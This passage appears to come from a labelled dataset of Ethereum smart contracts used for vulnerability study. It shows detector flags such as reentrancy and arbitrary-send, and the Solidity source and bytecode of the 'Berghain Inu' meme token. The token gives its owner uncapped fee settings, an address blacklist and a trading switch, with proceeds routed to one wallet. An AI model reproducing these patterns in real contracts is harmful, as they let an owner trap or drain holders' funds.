d1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461094657600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161085f565b600061063633848461107f565b6000546001600160a01b031633146109cb5760405162461bcd60e51b815260040161082590611d2c565b60005b81518110156107c55760095482516001600160a01b03909116908390839081106109fa576109fa611cfb565b60200260200101516001600160a01b031614158015610a4b575060075482516001600160a01b0390911690839083908110610a3757610a37611cfb565b60200260200101516001600160a01b031614155b15610aa857600160056000848481518110610a6857610a68611cfb565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ab281611d11565b9150506109ce565b6008546001600160a01b0316336001600160a01b031614610ada57600080fd5b6000610ae530610897565b90506108948161172d565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b815260040161082590611d2c565b60105460ff1615610b675760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610825565b6010805460ff1916600117905542600f5566470de4df820000600d819055600e55565b600954600090610738906001600160a01b0316610897565b6008546001600160a01b0316336001600160a01b031614610bc257600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161085f565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b815260040161082590611d2c565b60105460ff1615610c8c5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610825565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610cc83082670de0b6b3a7640000610f5b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2a9190611d61565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9b9190611d61565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c9190611d61565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e3c81610897565b600080610e516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610eb9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ede9190611d7e565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f37573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c59190611dac565b6001600160a01b038316610fbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610825565b6001600160a01b03821661101e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610825565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110c157506001600160a01b03821660009081526005602052604090205460ff16155b80156110dd57503360009081526005602052604090205460ff16155b6110e657600080fd5b6001600160a01b03831661114a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610825565b6001600160a01b0382166111ac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610825565b6000811161120e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610825565b600080546001600160a01b0385811691161480159061123b57506000546001600160a01b03848116911614155b15611694576009546001600160a01b03858116911614801561126b57506007546001600160a01b03848116911614155b801561129057506001600160a01b03831660009081526004602052604090205460ff16155b1561150a5760105460ff166112e75760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610825565b600f54421415611315576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f5460b46113259190611dc9565b111561139f57600e5461133784610897565b6113419084611dc9565b111561139f5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610825565b6001600160a01b03831660009081526006602052604090206001015460ff16611407576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f5460b46114179190611dc9565b11156114eb57600d5482111561146f5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610825565b61147a42601e611dc9565b6001600160a01b038416600090815260066020526040902054106114eb5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610825565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611524575060105460ff165b801561153e57506009546001600160a01b03858116911614155b156116945761154e42600f611dc9565b6001600160a01b038516600090815260066020526040902054106115c05760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610825565b60006115cb30610897565b9050801561167d5760105462010000900460ff161561164e57600c5460095460649190611600906001600160a01b0316610897565b61160a9190611de1565b6116149190611e00565b81111561164e57600c5460095460649190611637906001600160a01b0316610897565b6116419190611de1565b61164b9190611e00565b90505b600061165b601483611e00565b90506116678183611ce4565b9150611672816118a1565b61167b8261172d565b505b47801561168d5761168d476116f3565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116d657506001600160a01b03841660009081526004602052604090205460ff165b156116df575060005b6116ec85858584866118cb565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107c5573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061177157611771611cfb565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ee9190611d61565b8160018151811061180157611801611cfb565b6001600160a01b0392831660209182029290920101526007546118279130911684610f5b565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611860908590600090869030904290600401611e22565b600060405180830381600087803b15801561187a57600080fd5b505af115801561188e573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff0019166101001790556118bd3061dead8361107f565b506010805461ff0019169055565b60006118d783836118ed565b90506118e586868684611911565b505050505050565b600080831561190a5782156119055750600a5461190a565b50600b545b9392505050565b60008061191e84846119ee565b6001600160a01b0388166000908152600260205260409020549193509150611947908590611ce4565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611977908390611dc9565b6001600160a01b03861660009081526002602052604090205561199981611a22565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119de91815260200190565b60405180910390a3505050505050565b6000808060646119fe8587611de1565b611a089190611e00565b90506000611a168287611ce4565b96919550909350505050565b30600090815260026020526040902054611a3d908290611dc9565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a7d57858101830151858201604001528201611a61565b81811115611a8f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461089457600080fd5b8035611ac581611aa5565b919050565b60008060408385031215611add57600080fd5b8235611ae881611aa5565b946020939093013593505050565b60008060408385031215611b0957600080fd5b50508035926020909101359150565b600080600060608486031215611b2d57600080fd5b8335611b3881611aa5565b92506020840135611b4881611aa5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b8257600080fd5b823567ffffffffffffffff80821115611b9a57600080fd5b818501915085601f830112611bae57600080fd5b813581811115611bc057611bc0611b59565b8060051b604051601f19603f83011681018181108582111715611be557611be5611b59565b604052918252848201925083810185019188831115611c0357600080fd5b938501935b82851015611c2857611c1985611aba565b84529385019392850192611c08565b98975050505050505050565b600060208284031215611c4657600080fd5b813561190a81611aa5565b600060208284031215611c6357600080fd5b5035919050565b801515811461089457600080fd5b600060208284031215611c8a57600080fd5b813561190a81611c6a565b60008060408385031215611ca857600080fd5b8235611cb381611aa5565b91506020830135611cc381611aa5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cf657611cf6611cce565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d2557611d25611cce565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d7357600080fd5b815161190a81611aa5565b600080600060608486031215611d9357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611dbe57600080fd5b815161190a81611c6a565b60008219821115611ddc57611ddc611cce565b500190565b6000816000190483118215151615611dfb57611dfb611cce565b500290565b600082611e1d57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e725784516001600160a01b031683529383019391830191600101611e4d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201c15ddce3c444b4797d03c04ffac93b1012cf60a13a3d283dcb06749014575f164736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,336
0x19c0468dd36199cb8aa61487c248f9f0e04e4f37
/** *Submitted for verification at Etherscan.io on 2022-04-03 */ /** ELON TWEET PLAY https://twitter.com/elonmusk/status/1510449836633604100 Telegram: https://t.me/berghainu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract binu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Berghain Inu"; string private constant _symbol = " Berghain INU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xD565F70730181D077d1adFD029Ea28Fe47E2FC49); address payable private _marketingAddress = payable(0xD565F70730181D077d1adFD029Ea28Fe47E2FC49); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610560578063dd62ed3e14610580578063ea1644d5146105c6578063f2fde38b146105e657600080fd5b8063a2a957bb146104db578063a9059cbb146104fb578063bfd792841461051b578063c3c8cd801461054b57600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104bb57600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196a565b610606565b005b34801561020a57600080fd5b5060408051808201909152600c81526b426572676861696e20496e7560a01b60208201525b60405161023c9190611a2f565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a84565b6106a5565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611ab0565b6106bc565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611af1565b610725565b34801561037057600080fd5b506101fc61037f366004611b1e565b610770565b34801561039057600080fd5b506101fc6107b8565b3480156103a557600080fd5b506102c46103b4366004611af1565b610803565b3480156103c557600080fd5b506101fc610825565b3480156103da57600080fd5b506101fc6103e9366004611b39565b610899565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611af1565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b1e565b6108c8565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600d81526c20426572676861696e20494e5560981b602082015261022f565b3480156104c757600080fd5b506101fc6104d6366004611b39565b610910565b3480156104e757600080fd5b506101fc6104f6366004611b52565b61093f565b34801561050757600080fd5b50610265610516366004611a84565b61097d565b34801561052757600080fd5b50610265610536366004611af1565b60106020526000908152604090205460ff1681565b34801561055757600080fd5b506101fc61098a565b34801561056c57600080fd5b506101fc61057b366004611b84565b6109de565b34801561058c57600080fd5b506102c461059b366004611c08565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d257600080fd5b506101fc6105e1366004611b39565b610a7f565b3480156105f257600080fd5b506101fc610601366004611af1565b610aae565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090611c41565b60405180910390fd5b60005b81518110156106a15760016010600084848151811061065d5761065d611c76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069981611ca2565b91505061063c565b5050565b60006106b2338484610b98565b5060015b92915050565b60006106c9848484610cbc565b61071b843361071685604051806060016040528060288152602001611dbc602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f8565b610b98565b5060019392505050565b6000546001600160a01b0316331461074f5760405162461bcd60e51b815260040161063090611c41565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079a5760405162461bcd60e51b815260040161063090611c41565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ed57506013546001600160a01b0316336001600160a01b0316145b6107f657600080fd5b4761080081611232565b50565b6001600160a01b0381166000908152600260205260408120546106b69061126c565b6000546001600160a01b0316331461084f5760405162461bcd60e51b815260040161063090611c41565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161063090611c41565b601655565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161063090611c41565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b815260040161063090611c41565b601855565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161063090611c41565b600893909355600a91909155600955600b55565b60006106b2338484610cbc565b6012546001600160a01b0316336001600160a01b031614806109bf57506013546001600160a01b0316336001600160a01b0316145b6109c857600080fd5b60006109d330610803565b9050610800816112f0565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161063090611c41565b60005b82811015610a79578160056000868685818110610a2a57610a2a611c76565b9050602002016020810190610a3f9190611af1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7181611ca2565b915050610a0b565b50505050565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161063090611c41565b601755565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161063090611c41565b6001600160a01b038116610b3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610630565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610630565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610630565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610630565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610630565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610630565b6000546001600160a01b03848116911614801590610e1057506000546001600160a01b03838116911614155b156110f157601554600160a01b900460ff16610ea9576000546001600160a01b03848116911614610ea95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610630565b601654811115610efb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610630565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3d57506001600160a01b03821660009081526010602052604090205460ff16155b610f955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610630565b6015546001600160a01b0383811691161461101a5760175481610fb784610803565b610fc19190611cbd565b1061101a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610630565b600061102530610803565b60185460165491925082101590821061103e5760165491505b8080156110555750601554600160a81b900460ff16155b801561106f57506015546001600160a01b03868116911614155b80156110845750601554600160b01b900460ff165b80156110a957506001600160a01b03851660009081526005602052604090205460ff16155b80156110ce57506001600160a01b03841660009081526005602052604090205460ff16155b156110ee576110dc826112f0565b4780156110ec576110ec47611232565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113357506001600160a01b03831660009081526005602052604090205460ff165b8061116557506015546001600160a01b0385811691161480159061116557506015546001600160a01b03848116911614155b15611172575060006111ec565b6015546001600160a01b03858116911614801561119d57506014546001600160a01b0384